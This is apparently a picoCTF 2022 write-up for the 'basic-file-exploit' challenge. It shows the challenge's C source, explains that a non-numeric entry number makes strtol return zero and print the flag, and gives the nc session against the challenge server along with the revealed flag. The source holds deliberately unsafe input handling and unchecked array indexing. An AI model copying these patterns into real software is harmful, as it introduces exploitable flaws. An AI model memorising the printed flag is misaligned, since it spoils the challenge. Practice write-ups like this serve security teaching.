Rating:
# basic-file-exploit - picoCTF 2022 - CMU Cybersecurity Competition
Binary Exploitation, 100 Points
## Description
## basic-file-exploit Solution
Let's observe the attached file [program-redacted.c](./program-redacted.c):
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <stdint.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
static char data[10][100];
static int input_lengths[10];
static int inputs = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
static void data_write() {
char input[100];
char len[4];
long length;
int r;
printf("Please enter your data:\n");
r = tgetinput(input, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
while (true) {
printf("Please enter the length of your data:\n");
r = tgetinput(len, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((length = strtol(len, NULL, 10)) == 0) {
puts("Please put in a valid length");
} else {
break;
}
}
if (inputs > 10) {
inputs = 0;
}
strcpy(data[inputs], input);
input_lengths[inputs] = length;
printf("Your entry number is: %d\n", inputs + 1);
inputs++;
}
static void data_read() {
char entry[4];
long entry_number;
char output[100];
int r;
memset(output, '\0', 100);
printf("Please enter the entry number of your data:\n");
r = tgetinput(entry, 4);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
entry_number--;
strncpy(output, data[entry_number], input_lengths[entry_number]);
puts(output);
}
int main(int argc, char** argv) {
char input[3] = {'\0'};
long command;
int r;
puts("Hi, welcome to my echo chamber!");
puts("Type '1' to enter a phrase into our database");
puts("Type '2' to echo a phrase in our database");
puts("Type '3' to exit the program");
while (true) {
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
data_write();
puts("Write successful, would you like to do anything else?");
} else if (command == 2) {
if (inputs == 0) {
puts("No data yet");
continue;
}
data_read();
puts("Read successful, would you like to do anything else?");
} else if (command == 3) {
return 0;
} else {
puts("Please type either 1, 2 or 3");
puts("Maybe breaking boundaries elsewhere will be helpful");
}
}
return 0;
}
```
As we can see, To print the flag we need to get into the function ```data_read()```.
On ```data_read()``` function we can see the following:
```c
...
if ((entry_number = strtol(entry, NULL, 10)) == 0) {
puts(flag);
fseek(stdin, 0, SEEK_END);
exit(0);
}
...
```
If we are inserting a string instead of a number we get into the ```if``` statement and we get the flag, Let's try it.
First, We need to call to ```data_write()```` by choose option 1:
```console
┌─[evyatar@parrot]─[/pictoctf2022/binary_exploitation/basic_file_exploit]
└──╼ $ nc saturn.picoctf.net 50366
Hi, welcome to my echo chamber!
Type '1' to enter a phrase into our database
Type '2' to echo a phrase in our database
Type '3' to exit the program
1
1
Please enter your data:
abc
abc
Please enter the length of your data:
3
3
Your entry number is: 1
Write successful, would you like to do anything else?
```
Now, Let's choose option ```2``` and insert a character to get into the ```if``` statement:
```
console
2
2
Please enter the entry number of your data:
a
a
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_25D6CDDB}
```
And we get the flag ```picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_25D6CDDB}```.
